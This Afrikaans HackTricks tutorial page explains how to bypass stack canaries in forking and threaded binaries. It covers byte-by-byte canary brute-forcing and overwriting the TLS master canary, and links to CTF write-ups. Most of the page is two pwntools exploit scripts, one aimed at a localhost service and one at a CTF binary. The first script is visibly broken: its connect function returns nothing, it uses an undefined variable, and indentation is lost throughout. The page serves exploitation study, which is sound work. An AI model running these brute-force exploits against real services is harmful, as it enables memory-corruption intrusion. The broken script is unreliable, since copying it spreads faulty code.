BF Forked & Threaded Stack Canaries

Reading time: 4 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

As jy 'n binêre teenkom wat deur 'n kanarie en PIE (Posisie Onafhanklike Uitvoerbare) beskerm word, moet jy waarskynlik 'n manier vind om dit te omseil.

note

Let daarop dat checksec dalk nie sal vind dat 'n binêre deur 'n kanarie beskerm word nie as dit staties gecompileer is en nie in staat is om die funksie te identifiseer nie.
Jy kan egter dit handmatig opgemerk as jy vind dat 'n waarde in die stapel gestoor word aan die begin van 'n funksie-aanroep en hierdie waarde voor die uitgang nagegaan word.

Brute force Kanarie

Die beste manier om 'n eenvoudige kanarie te omseil is as die binêre 'n program is wat kindproses elke keer fork wanneer jy 'n nuwe verbinding met dit maak (netwerkdiens), want elke keer as jy met dit verbind, sal dieselfde kanarie gebruik word.

Dan is die beste manier om die kanarie te omseil net om dit brute-force per karakter te doen, en jy kan uitvind of die geraamde kanarie-byte korrek was deur te kyk of die program gecrash het of sy gewone vloei voortgaan. In hierdie voorbeeld brute-forseert die funksie 'n 8 Bytes kanarie (x64) en onderskei tussen 'n korrek geraamde byte en 'n slegte byte net deur na te gaan of 'n antwoord deur die bediener teruggestuur word (nog 'n manier in ander situasie kan wees om 'n try/except te gebruik):

Voorbeeld 1

Hierdie voorbeeld is geïmplementeer vir 64-bits, maar kan maklik vir 32-bits geïmplementeer word.

python
from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

Voorbeeld 2

Dit is geïmplementeer vir 32 bits, maar dit kan maklik verander word na 64 bits.
Let ook daarop dat die program verwag eers 'n byte om die grootte van die invoer aan te dui en die payload.

python
from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

Draad

Drade van dieselfde proses sal ook diezelfde canary-token deel, daarom sal dit moontlik wees om 'n canary te brute-force as die binêre 'n nuwe draad genereer elke keer as 'n aanval plaasvind.

Boonop kan 'n buffer overflow in 'n gedrade funksie wat met canary beskerm word, gebruik word om die meester canary wat in die TLS gestoor is, te verander. Dit is omdat dit moontlik mag wees om die geheueposisie te bereik waar die TLS gestoor is (en dus, die canary) via 'n bof in die stapel van 'n draad.
As gevolg hiervan is die mitigering nutteloos omdat die kontrole gebruik word met twee canaries wat dieselfde is (alhoewel verander).
Hierdie aanval word uitgevoer in die skrywe: http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads

Kyk ook na die aanbieding van https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015 wat noem dat die TLS gewoonlik gestoor word deur mmap en wanneer 'n stapel van draad geskep word, dit ook deur mmap gegenereer word volgens dit, wat die overflow mag toelaat soos in die vorige skrywe gewys.

Ander voorbeelde & verwysings